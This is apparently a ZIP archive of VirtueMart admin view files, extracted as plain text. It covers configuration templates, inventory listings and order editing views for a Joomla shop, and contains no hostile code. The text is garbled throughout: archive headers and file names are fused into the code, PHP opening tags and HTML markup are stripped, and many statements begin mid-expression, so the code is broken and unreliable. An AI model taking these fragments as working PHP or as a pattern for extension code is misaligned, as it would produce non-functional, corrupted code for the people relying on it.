    JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL') //TODO write system for all users (cookies) ); echo VmHTML::radioList('ratingMode', VmConfig::get('ratingMode', 'bought'), $showReviewFor); ?>
    orderStatusModel->renderOSList(VmConfig::get('rr_os',array('C')),'rr_os',TRUE); ?>
    PKB\et !views/config/tmpl/default_sef.phpnuW+A
    PKB\Wcjcj'views/config/tmpl/default_templates.phpnuW+A
    jTemplateList, 'vmtemplate', 'size=1 width=200', 'value', 'name', VmConfig::get('vmtemplate', 'default')); ?>
    jTemplateList, 'categorytemplate', 'size=1', 'value', 'name', VmConfig::get('categorytemplate', 'default')); ?>
    categoryLayoutList, 'categorylayout', 'size=1', 'value', 'text', VmConfig::get('categorylayout', 0)); ?>
    productLayoutList, 'productlayout', 'size=1', 'value', 'text', VmConfig::get('productlayout', 0)); ?>
    noimagelist, 'no_image_set', 'size=1', 'value', 'text', VmConfig::get('no_image_set')); ?>
    noimagelist, 'no_image_found', 'size=1', 'value', 'text', VmConfig::get('no_image_found')); ?>
    vmLayoutList, 'vmlayout', 'size=1', 'value', 'text', VmConfig::get('vmlayout', 0)); ?>
    PKB\0^ ^ +views/config/tmpl/default_product_order.phpnuW+A
    orderByFieldsProduct->select, 'browse_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_orderby_field', 'product_name'), 'product_name'); $orderDirs[] = JHTML::_('select.option', 'ASC' , JText::_('Ascending')) ; $orderDirs[] = JHTML::_('select.option', 'DESC' , JText::_('Descending')) ; echo JHTML::_('select.genericlist', $orderDirs, 'prd_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('prd_brws_orderby_dir', 'ASC') ); ?> orderByFieldsCat, 'browse_cat_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_cat_orderby_field', 'category_name'), 'category_name'); echo JHTML::_('select.genericlist', $orderDirs, 'cat_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('cat_brws_orderby_dir', 'ASC') ); ?>
    orderByFieldsProduct->checkbox; ?>
    searchFields->checkbox; ?>
    PKB\)*["views/config/tmpl/default_shop.phpnuW+A
    currConverterList, 'currency_converter_module', 'size=1', 'value', 'text', VmConfig::get('currency_converter_module', 'convertECB.php')); ?>
    activeLanguages; ?> Translations'); ?>
    JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('debug_enable', VmConfig::get('debug_enable', 'none'), $options); ?>
    JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE'), 'admin' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN') // 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL') ); echo VmHTML::radioList('multix', VmConfig::get('multix', 'none'), $options); ?>
    PKB\)aUUviews/config/view.html.phpnuW+AaddStandardEditViewCommands(); $config = VmConfig::loadConfig(); if(!empty($config->_params)){ unset ($config->_params['pdf_invoice']); // parameter remove and replaced by inv_os } $this->assignRef('config', $config); $mainframe = JFactory::getApplication(); $this->assignRef('joomlaconfig', $mainframe); $userparams = JComponentHelper::getParams('com_users'); $this->assignRef('userparams', $userparams); $templateList = ShopFunctions::renderTemplateList(JText::_('COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT')); $this->assignRef('jTemplateList', $templateList); $vmLayoutList = $model->getLayoutList('virtuemart'); $this->assignRef('vmLayoutList', $vmLayoutList); $categoryLayoutList = $model->getLayoutList('category'); $this->assignRef('categoryLayoutList', $categoryLayoutList); $productLayoutList = $model->getLayoutList('productdetails'); $this->assignRef('productLayoutList', $productLayoutList); $noimagelist = $model->getNoImageList(); $this->assignRef('noimagelist', $noimagelist); $orderStatusModel=VmModel::getModel('orderstatus'); $this->assignRef('orderStatusModel', $orderStatusModel); $currConverterList = $model->getCurrencyConverterList(); $this->assignRef('currConverterList', $currConverterList); $moduleList = $model->getModuleList(); $this->assignRef('moduleList', $moduleList); $activeLanguages = $model->getActiveLanguages( VmConfig::get('active_languages') ); $this->assignRef('activeLanguages', $activeLanguages); $orderByFieldsProduct = $model->getProductFilterFields('browse_orderby_fields'); $this->assignRef('orderByFieldsProduct', $orderByFieldsProduct); VmModel::getModel('category'); foreach (VirtueMartModelCategory::$_validOrderingFields as $key => $field ) { if($field=='c.category_shared') continue; $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; $orderByFieldsCat[] = JHTML::_('select.option', $field, $text) ; } //$orderByFieldsCat = $model->get; $this->assignRef('orderByFieldsCat', $orderByFieldsCat); $searchFields = $model->getProductFilterFields( 'browse_search_fields'); $this->assignRef('searchFields', $searchFields); $aclGroups = $usermodel->getAclGroupIndentedTree(); $this->assignRef('aclGroups', $aclGroups); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); shopFunctions::checkSafePath(); $this -> checkVmUserVendor(); parent::display($tpl); } private function checkVmUserVendor(){ $db = JFactory::getDBO(); $multix = Vmconfig::get('multix','none'); $q = 'select * from #__virtuemart_vmusers where user_is_vendor = 1';// and virtuemart_vendor_id '.$vendorWhere.' limit 1'; $db->setQuery($q); $r = $db->loadAssocList(); if (empty($r)){ vmWarn('Your Virtuemart installation contains an error: No user as marked as vendor. Please fix this in your phpMyAdmin and set #__virtuemart_vmusers.user_is_vendor = 1 and #__virtuemart_vmusers.virtuemart_vendor_id = 1 to one of your administrator users. Please update all users to be associated with virtuemart_vendor_id 1.'); } else { if($multix=='none' and count($r)!=1){ vmWarn('You are using single vendor mode, but it seems more than one user is set as vendor'); } foreach($r as $entry){ if(empty($entry['virtuemart_vendor_id'])){ vmWarn('The user with virtuemart_user_id = '.$entry['virtuemart_user_id'].' is set as vendor, but has no referencing vendorId.'); } } } } } // pure php no closing tag PKB\#o,,views/config/index.htmlnuW+APKB\)views/inventory/.htaccessnuW+A Order allow,deny Deny from all PKB\views/inventory/index.htmlnuW+APKB\views/inventory/tmpl/index.htmlnuW+APKB\)views/inventory/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\ao views/inventory/tmpl/default.phpnuW+A
    inventorylist) > 0) { $i = 0; $k = 0; $keyword = vRequest::uword ('keyword', "", ' ,-,+,.,_,#,/'); foreach ($this->inventorylist as $key => $product) { $checked = JHTML::_('grid.id', $i , $product->virtuemart_product_id); $published = JHTML::_('grid.published', $product, $i ); // if ( $product->product_in_stock - $product->product_ordered < 1) $stockstatut ="out"; elseif ( $product->product_in_stock - $product->product_ordered < $product->low_stock_notification ) $stockstatut ="low"; else $stockstatut = "normal"; $stockstatut='class="stock-'.$stockstatut.'" title="'.jText::_('COM_VIRTUEMART_STOCK_LEVEL_'.$stockstatut).'"'; ?> virtuemart_product_id.'&product_parent_id='.$product->product_parent_id; ?>
    sort('product_name') ?> sort('product_sku')?> sort('product_in_stock','COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK') ?> sort('product_price','COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST') ?> sort('product_price', 'COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE') ?> sort('product_weight','COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT') ?> sort('published')?>
    product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$product->product_name)); ?> product_sku; ?> >product_in_stock; ?> width="5%">product_ordered; ?> product_price_display; ?> product_instock_value; ?> product_weight." ". $product->weigth_unit_display; ?>
    pagination->getListFooter(); ?>
    PKB\˨Q views/inventory/view.html.phpnuW+AaddStandardDefaultViewLists($model); $inventorylist = $model->getProductListing(false,false); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); // Apply currency $currencydisplay = CurrencyDisplay::getInstance(); foreach ($inventorylist as $virtuemart_product_id => $product) { //TODO oculd be interesting to show the price for each product, and all stored ones $product->product_in_stock $product->product_instock_value = $currencydisplay->priceDisplay($product->product_price,'',$product->product_in_stock,false); $product->product_price_display = $currencydisplay->priceDisplay($product->product_price,'',1,false); $product->weigth_unit_display= ShopFunctions::renderWeightUnit($product->product_weight_uom); } $this->assignRef('inventorylist', $inventorylist); $options = array(); $options[] = JHTML::_('select.option', '', JText::_('COM_VIRTUEMART_DISPLAY_STOCK').':'); $options[] = JHTML::_('select.option', 'stocklow', JText::_('COM_VIRTUEMART_STOCK_LEVEL_LOW')); $options[] = JHTML::_('select.option', 'stockout', JText::_('COM_VIRTUEMART_STOCK_LEVEL_OUT')); $this->lists['stockfilter'] = JHTML::_('select.genericlist', $options, 'search_type', 'onChange="document.adminForm.submit(); return false;"', 'value', 'text', JRequest::getVar('search_type')); $this->lists['filter_product'] = JRequest::getVar('filter_product'); // $this->assignRef('lists', $lists); /* Toolbar */ $this->SetViewTitle('PRODUCT_INVENTORY'); JToolBarHelper::publish(); JToolBarHelper::unpublish(); parent::display($tpl); } } // pure php no closing tag PKB\views/orders/tmpl/index.htmlnuW+APKB\&z33!views/orders/tmpl/order_print.phpnuW+AaddScriptDeclaration ( " function cancelOrderStatFormEdit(e) { jQuery('#orderStatForm').each(function(){ this.reset(); }); jQuery('#order_items_status') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('div#updateOrderStatus').hide(); e.preventDefault(); } "); ?>

    orderStatSelect; ?>


    orderID.'][update_lines]', true); ?>
          
    PKB\X8 views/orders/tmpl/order.phpnuW+AaddScriptDeclaration ( " jQuery( function($) { $('.orderedit').hide(); $('.ordereditI').show(); $('.orderedit').css('backgroundColor', 'lightgray'); jQuery('.updateOrderItemStatus').click(function() { document.orderItemForm.task.value = 'updateOrderItemStatus'; document.orderItemForm.submit(); return false }); jQuery('select#virtuemart_paymentmethod_id').change(function(){ jQuery('span#delete_old_payment').show(); jQuery('input#delete_old_payment').attr('checked','checked'); }); }); function enableEdit(e) { jQuery('.orderedit').each( function() { var d = jQuery(this).css('visibility')=='visible'; jQuery(this).toggle(); jQuery('.orderedit').css('backgroundColor', d ? 'white' : 'lightgray'); jQuery('.orderedit').css('color', d ? 'blue' : 'black'); }); jQuery('.ordereditI').each( function() { jQuery(this).toggle(); }); e.preventDefault(); }; function addNewLine(e,i) { var row = jQuery('#itemTable').find('tbody tr:first').html(); var needle = 'item_id['+i+']'; //var needle = new RegExp('item_id['+i+']','igm'); while (row.contains(needle)){ row = row.replace(needle,'item_id[0]'); } //alert(needle); jQuery('#itemTable').find('tbody').prepend(''+row+''); e.preventDefault(); }; function cancelEdit(e) { jQuery('#orderItemForm').each(function(){ this.reset(); }); jQuery('.selectItemStatusCode') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('.orderedit').hide(); jQuery('.ordereditI').show(); e.preventDefault(); } function resetOrderHead(e) { jQuery('#orderForm').each(function(){ this.reset(); }); jQuery('select#virtuemart_paymentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); jQuery('select#virtuemart_shipmentmethod_id') .find('option:selected').prop('selected', true) .end().trigger('liszt:updated'); e.preventDefault(); } "); ?>
      
    orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $print_link = ""; $print_link .= $this->orderbt->order_number . ' '; ?> orderbt->coupon_code) { ?> orderbt->invoiceNumber and !shopFunctions::InvoiceNumberReserved($this->orderbt->invoiceNumber) ) { $invoice_url = juri::root().'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $this->orderbt->virtuemart_order_id . '&order_number=' .$this->orderbt->order_number. '&order_pass=' .$this->orderbt->order_pass; $invoice_link = ""; $invoice_link .= $this->orderbt->invoiceNumber . '';?>
    orderbt->order_pass;?>
    orderbt->created_on,'LC2',true); ?>
    orderstatuslist[$this->orderbt->order_status]; ?>
    orderbt->company ? $this->orderbt->company." ":""; $username.=$this->orderbt->first_name." ".$this->orderbt->last_name." "; if ($this->orderbt->virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $this->orderbt->virtuemart_user_id); echo JHTML::_ ('link', JRoute::_ ($userlink), $username, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $username)); } else { echo $this->orderbt->first_name.' '.$this->orderbt->last_name; } ?>
    orderbt->ip_address; ?>
    orderbt->coupon_code; ?>
    orderdetails['history'] as $this->orderbt_event ) { echo ""; echo "\n"; if ($this->orderbt_event->customer_notified == 1) { echo ''; } else { echo ''; } if(!isset($this->orderstatuslist[$this->orderbt_event->order_status_code])){ if(empty($this->orderbt_event->order_status_code)){ $this->orderbt_event->order_status_code = 'unknown'; } $_orderStatusList[$this->orderbt_event->order_status_code] = JText::_('COM_VIRTUEMART_UNKNOWN_ORDER_STATUS'); } echo ''; echo "\n"; echo "\n"; } ?> trigger('plgVmOnUpdateOrderBEPayment',array($this->orderID)); $_returnValues2 = $_dispatcher->trigger('plgVmOnUpdateOrderBEShipment',array( $this->orderID)); $_returnValues = array_merge($_returnValues1, $_returnValues2); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= (' \n"); } } if ($_plg !== '') { echo "\n$_plg\n"; } ?>
    ". vmJsApi::date($this->orderbt_event->created_on,'LC2',true) ."'.JText::_('COM_VIRTUEMART_YES').''.JText::_('COM_VIRTUEMART_NO').''.$this->orderstatuslist[$this->orderbt_event->order_status_code].'".$this->orderbt_event->comments."
    ' . $_returnValue . "
    orderbt->customer_note || true) { ?>
    getPayments(); $model = VmModel::getModel('shipmentmethod'); $shipments = $model->getShipments(); ?>
    virtuemart_paymentmethod_id == $this->orderbt->virtuemart_paymentmethod_id) echo $payment->payment_name; } ?>
    virtuemart_shipmentmethod_id == $this->orderbt->virtuemart_shipmentmethod_id) echo $shipment->shipment_name; } ?>
     
    userfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; //*/ /* $fn = $_field['name']; $fv = $_field['value']; $ft = $_field['title']; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n";*/ } ?>
    '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
    '."\n"; echo ' '.$ft."\n"; echo ' '."\n"; echo " \n"; echo '
    shipmentfields['fields'] as $_field ) { echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } ?>
    '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
    orderdetails['items'] as $item) { ?> virtuemart_order_item_id; ?>" data-itemid="virtuemart_order_item_id; ?>">*/ ?> orderbt->coupon_discount > 0 || $this->orderbt->coupon_discount < 0) { ?> orderdetails['calc_rules'] as $rule){ if ($rule->calc_kind == 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?> orderbt->user_currency_rate != 1.0) { ?>
    #
    product_quantity; ?> order_item_name; ?> order_item_name; if (!empty($item->product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item,'BE'); echo '
    '.$product_attribute.'
    '; } $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnShowOrderLineBEShipment',array( $this->orderID,$item->virtuemart_order_item_id)); $_plg = ''; foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { $_plg .= $_returnValue; } } if ($_plg !== '') { echo '' . '' . '' // Indent . '' . '' . '
    '.$_plg.'
    '; } ?> virtuemart_product_id)) { ?> Product ID:
    order_item_sku; ?> itemstatusupdatefields[$item->virtuemart_order_item_id]; ?> product_discountedPriceWithoutTax = (float) $item->product_discountedPriceWithoutTax; if (!empty($item->product_priceWithoutTax) && $item->product_discountedPriceWithoutTax != $item->product_priceWithoutTax) { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
    '; echo ''.$this->currency->priceDisplay($item->product_discountedPriceWithoutTax) .'
    '; } else { echo ''.$this->currency->priceDisplay($item->product_item_price) .'
    '; } ?>
    currency->priceDisplay($item->product_basePriceWithTax); ?> currency->priceDisplay($item->product_final_price); ?> currency->priceDisplay( $item->product_tax); ?> currency->priceDisplay( $item->product_subtotal_discount); ?> product_basePriceWithTax = (float) $item->product_basePriceWithTax; if(!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price ) { echo ''.$this->currency->priceDisplay($item->product_basePriceWithTax,$this->currency,$item->product_quantity) .'
    ' ; } elseif (empty($item->product_basePriceWithTax) && $item->product_item_price != $item->product_final_price) { echo '' . $this->currency->priceDisplay($item->product_item_price,$this->currency,$item->product_quantity) . '
    '; } echo $this->currency->priceDisplay($item->product_subtotal_with_tax); ?>
             orderStatSelect; ?>    
    orderbt->virtuemart_order_id.'&orderLineId=0&tmpl=component&task=editOrderItem'); ?>
    :
    currency->priceDisplay($this->orderbt->order_subtotal); ?>     currency->priceDisplay($this->orderbt->order_tax); ?> currency->priceDisplay($this->orderbt->order_discountAmount); ?> currency->priceDisplay($this->orderbt->order_salesPrice); ?>
              currency->priceDisplay($this->orderbt->coupon_discount); ?>
    calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount);?>
    calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
    calc_rule_name ?> currency->priceDisplay($rule->calc_amount); ?> currency->priceDisplay($rule->calc_amount); ?>
    : currency->priceDisplay($this->orderbt->order_shipment); ?>     currency->priceDisplay($this->orderbt->order_shipment_tax); ?>   currency->priceDisplay($this->orderbt->order_shipment+$this->orderbt->order_shipment_tax); ?>
    : currency->priceDisplay($this->orderbt->order_payment); ?>     currency->priceDisplay($this->orderbt->order_payment_tax); ?>   currency->priceDisplay($this->orderbt->order_payment+$this->orderbt->order_payment_tax); ?>
    :       currency->priceDisplay($this->orderbt->order_billTaxAmount); ?> currency->priceDisplay($this->orderbt->order_billDiscountAmount); ?> currency->priceDisplay($this->orderbt->order_total); ?>
    :           orderbt->user_currency_rate ?>
     
    trigger('plgVmOnShowOrderBEShipment',array( $this->orderID,$this->orderbt->virtuemart_shipmentmethod_id, $this->orderdetails)); foreach ($returnValues as $returnValue) { if ($returnValue !== null) { echo $returnValue; } } ?> trigger('plgVmOnShowOrderBEPayment',array( $this->orderID,$this->orderbt->virtuemart_paymentmethod_id, $this->orderdetails)); foreach ($_returnValues as $_returnValue) { if ($_returnValue !== null) { echo $_returnValue; } } ?>
    PKB\d?''views/orders/tmpl/orders.phpnuW+A
    orderslist) > 0) { $i = 0; $k = 0; $keyword = JRequest::getWord ('keyword'); foreach ($this->orderslist as $key => $order) { $checked = JHTML::_ ('grid.id', $i, $order->virtuemart_order_id); ?> virtuemart_order_id; ?> virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $print_link = ""; $print_link .= ' '; $invoice_link = ''; $deliverynote_link = ''; if (!$order->invoiceNumber) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $invoice_link .= "".''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $invoice_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=invoice&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $invoice_link = "" . ''; } if (!$order->invoiceNumber) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass . '&create_invoice=1'; $deliverynote_link = "" . ''; } elseif (!shopFunctions::InvoiceNumberReserved ($order->invoiceNumber)) { $deliverynote_url = juri::root () . 'index.php?option=com_virtuemart&view=invoice&layout=deliverynote&format=pdf&tmpl=component&virtuemart_order_id=' . $order->virtuemart_order_id . '&order_number=' . $order->order_number . '&order_pass=' . $order->order_pass; $deliverynote_link = "" . ''; } ?>
    sort ('order_number', 'COM_VIRTUEMART_ORDER_LIST_NUMBER') ?> sort ('order_name', 'COM_VIRTUEMART_ORDER_PRINT_NAME') ?> sort ('order_email', 'COM_VIRTUEMART_EMAIL') ?> sort ('payment_method', 'COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL') ?> sort ('created_on', 'COM_VIRTUEMART_ORDER_CDATE') ?> sort ('modified_on', 'COM_VIRTUEMART_ORDER_LIST_MDATE') ?> sort ('order_status', 'COM_VIRTUEMART_STATUS') ?> sort ('order_total', 'COM_VIRTUEMART_TOTAL') ?> sort ('virtuemart_order_id', 'COM_VIRTUEMART_ORDER_LIST_ID') ?>
    order_number, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER') . ' ' . $order->order_number)); ?> virtuemart_user_id) { $userlink = JROUTE::_ ('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $order->virtuemart_user_id, FALSE); echo JHTML::_ ('link', JRoute::_ ($userlink, FALSE), $order->order_name, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_USER') . ' ' . $order->order_name)); } else { echo $order->order_name; } ?> order_email; ?> payment_method; ?> created_on, 'LC2', TRUE); ?> modified_on, 'LC2', TRUE); ?> orderstatuses, "orders[" . $order->virtuemart_order_id . "][order_status]", 'class="orderstatus_select"', 'order_status_code', 'order_status_name', $order->order_status, 'order_status' . $i, TRUE); ?>
    'show_comment')); ?>
    virtuemart_order_id . '][customer_notified]', 0) . JText::_ ('COM_VIRTUEMART_ORDER_LIST_NOTIFY'); ?>
       virtuemart_order_id . '][customer_send_comment]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT'); ?>
    virtuemart_order_id . '][update_lines]', 1) . JText::_ ('COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS'); ?>
    order_total; ?> virtuemart_order_id, array('title' => JText::_ ('COM_VIRTUEMART_ORDER_EDIT_ORDER_ID') . ' ' . $order->virtuemart_order_id)); ?>
    pagination->getListFooter (); ?>
    addStandardHiddenToForm (); ?>
    PKB\)views/orders/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\!!views/orders/view.html.phpnuW+AgetOrderStatusList(); $this->SetViewTitle( 'ORDER'); $orderModel = VmModel::getModel(); $curTask = JRequest::getWord('task'); if ($curTask == 'edit') { VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); VmConfig::loadJLang('com_virtuemart_orders', true); // Load addl models $userFieldsModel = VmModel::getModel('userfields'); $productModel = VmModel::getModel('product'); // Get the data $virtuemart_order_id = JRequest::getInt('virtuemart_order_id'); $order = $orderModel->getOrder($virtuemart_order_id); $_orderID = $order['details']['BT']->virtuemart_order_id; $orderbt = $order['details']['BT']; $orderst = (array_key_exists('ST', $order['details'])) ? $order['details']['ST'] : $orderbt; $orderbt ->invoiceNumber = $orderModel->getInvoiceNumber($orderbt->virtuemart_order_id); $currency = CurrencyDisplay::getInstance('',$order['details']['BT']->virtuemart_vendor_id); $this->assignRef('currency', $currency); $_userFields = $userFieldsModel->getUserFields( 'account' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username','password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderbt ,'BT_' ); $_userFields = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderst ,'ST_' ); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions... $_orderStatusList = array(); foreach ($orderStates as $orderState) { //$_orderStatusList[$orderState->virtuemart_orderstate_id] = $orderState->order_status_name; //When I use update, I have to use this? $_orderStatusList[$orderState->order_status_code] = JText::_($orderState->order_status_name); } $_itemStatusUpdateFields = array(); $_itemAttributesUpdateFields = array(); foreach($order['items'] as $_item) { $_itemStatusUpdateFields[$_item->virtuemart_order_item_id] = JHTML::_('select.genericlist', $orderStates, "item_id[".$_item->virtuemart_order_item_id."][order_status]", 'class="selectItemStatusCode"', 'order_status_code', 'order_status_name', $_item->order_status, 'order_item_status'.$_item->virtuemart_order_item_id,true); } if(!isset($_orderStatusList[$orderbt->order_status])){ if(empty($orderbt->order_status)){ $orderbt->order_status = 'unknown'; } $_orderStatusList[$orderbt->order_status] = JText::_('COM_VIRTUEMART_UNKNOWN_ORDER_STATUS'); } /* Assign the data */ $this->assignRef('orderdetails', $order); $this->assignRef('orderID', $_orderID); $this->assignRef('userfields', $userfields); $this->assignRef('shipmentfields', $shipmentfields); $this->assignRef('orderstatuslist', $_orderStatusList); $this->assignRef('itemstatusupdatefields', $_itemStatusUpdateFields); $this->assignRef('itemattributesupdatefields', $_itemAttributesUpdateFields); $this->assignRef('orderbt', $orderbt); $this->assignRef('orderst', $orderst); $this->assignRef('virtuemart_shipmentmethod_id', $orderbt->virtuemart_shipmentmethod_id); /* Data for the Edit Status form popup */ $_currentOrderStat = $order['details']['BT']->order_status; // used to update all item status in one time $_orderStatusSelect = JHTML::_('select.genericlist', $orderStates, 'order_status', '', 'order_status_code', 'order_status_name', $_currentOrderStat, 'order_items_status',true); $this->assignRef('orderStatSelect', $_orderStatusSelect); $this->assignRef('currentOrderStat', $_currentOrderStat); /* Toolbar */ JToolBarHelper::custom( 'prevItem', 'back','','COM_VIRTUEMART_ITEM_PREVIOUS',false); JToolBarHelper::custom( 'nextItem', 'forward','','COM_VIRTUEMART_ITEM_NEXT',false); JToolBarHelper::divider(); JToolBarHelper::custom( 'cancel', 'back','back','back',false,false); } else if ($curTask == 'editOrderItem') { if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $this->assignRef('orderstatuses', $orderStates); $model = VmModel::getModel(); $orderId = JRequest::getString('orderId', ''); $orderLineItem = JRequest::getVar('orderLineId', ''); $this->assignRef('virtuemart_order_id', $orderId); $this->assignRef('virtuemart_order_item_id', $orderLineItem); $orderItem = $model->getOrderLineDetails($orderId, $orderLineItem); $this->assignRef('orderitem', $orderItem); } else { $this->setLayout('orders'); $model = VmModel::getModel(); $this->addStandardDefaultViewLists($model,'created_on'); $orderStatusModel =VmModel::getModel('orderstatus'); $orderstates = JRequest::getWord('order_status_code',''); $this->lists['state_list'] = $orderStatusModel->renderOSList($orderstates,'order_status_code',FALSE,' onchange="this.form.submit();" '); $orderslist = $model->getOrdersList(); $this->assignRef('orderstatuses', $orderStates); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); /* Apply currency This must be done per order since it's vendor specific */ $_currencies = array(); // Save the currency data during this loop for performance reasons if ($orderslist) { foreach ($orderslist as $virtuemart_order_id => $order) { if(!empty($order->order_currency)){ $currency = $order->order_currency; } else if($order->virtuemart_vendor_id){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $currObj = VirtueMartModelVendor::getVendorCurrency($order->virtuemart_vendor_id); $currency = $currObj->virtuemart_currency_id; } //This is really interesting for multi-X, but I avoid to support it now already, lets stay it in the code if (!array_key_exists('curr'.$currency, $_currencies)) { $_currencies['curr'.$currency] = CurrencyDisplay::getInstance($currency,$order->virtuemart_vendor_id); } $order->order_total = $_currencies['curr'.$currency]->priceDisplay($order->order_total); $order->invoiceNumber = $model->getInvoiceNumber($order->virtuemart_order_id); } } /* * UpdateStatus removed from the toolbar; don't understand how this was intented to work but * the order ID's aren't properly passed. Might be readded later; the controller needs to handle * the arguments. */ /* Toolbar */ //JToolBarHelper::customX( 'CreateOrderHead', 'new','new','New',false); JToolBarHelper::save('updatestatus', JText::_('COM_VIRTUEMART_UPDATE_STATUS')); JToolBarHelper::deleteListX(); /* Assign the data */ $this->assignRef('orderslist', $orderslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } shopFunctions::checkSafePath(); parent::display($tpl); } } PKB\Qviews/orders/view.raw.phpnuW+AgetOrder($virtuemart_order_id); //$order = $this->get('Order'); $orderNumber = $order['details']['BT']->virtuemart_order_number; $orderbt = 